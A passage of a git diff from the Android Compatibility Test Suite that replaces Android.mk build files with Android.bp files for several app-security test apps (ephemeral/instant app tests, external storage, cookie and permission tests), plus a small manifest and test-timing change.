-    androidx.test.rules \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp2
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 4e83c34..08c7b28 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="com.android.cts.ephemeralapp2"
     android:targetSandboxVersion="2">
     <uses-sdk
-        android:minSdkVersion="24" />
+        android:minSdkVersion="24" android:targetSdkVersion="26" />
 
     <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
     <application
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
new file mode 100644
index 0000000..919473b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsImplicitApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+    min_sdk_version: "24",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
deleted file mode 100644
index 8500077..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
-    androidx.test.rules
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsImplicitApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
new file mode 100644
index 0000000..21a435d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsNormalApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "system_current",
+    min_sdk_version: "24",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
deleted file mode 100644
index 3e41c1b..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsNormalApp
-LOCAL_SDK_VERSION := system_current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 3a99f325..86cea52 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -442,10 +442,6 @@
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
-            Thread.sleep(1000);
-        } catch (Exception e) {
-        }
-        try {
             // start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
             try {
                 final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
new file mode 100644
index 0000000..b87b89f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsUnexposedApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
deleted file mode 100644
index d8e9234..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsUnexposedApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
new file mode 100644
index 0000000..ff376bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsUserApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
deleted file mode 100644
index 6d58891..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
-    androidx.test.rules
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsUserApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
new file mode 100644
index 0000000..4159be8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsUserAppTest",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
deleted file mode 100644
index afb016c..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsUserAppTest
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
new file mode 100644
index 0000000..0bba5ef
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "cts-aia-util",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk
deleted file mode 100644
index df29c03..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-aia-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
new file mode 100644
index 0000000..355fe26
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEscalateToRuntimePermissions",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
deleted file mode 100644
index c82648c..0000000
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
new file mode 100644
index 0000000..0dfc5c7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsExternalStorageApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "CtsExternalStorageTestLib",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    exclude_srcs: ["src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
+
+java_library {
+    name: "CtsExternalStorageTestLib",
+    srcs: ["src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java"],
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    libs: ["android.test.base.stubs"],
+}
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
deleted file mode 100644
index 0b232fb..0000000
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsExternalStorageApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
new file mode 100644
index 0000000..88f4bb7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsInstantCookieApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-keyset-test-a",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
deleted file mode 100644
index b113f8f..0000000
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsInstantCookieApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
new file mode 100644
index 0000000..8010dff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsInstantCookieApp2",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-keyset-test-b",
+    additional_certificates: [":cts-keyset-test-a"],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
deleted file mode 100644
index 7c1d709..0000000
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
new file mode 100644
index 0000000..677b990
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
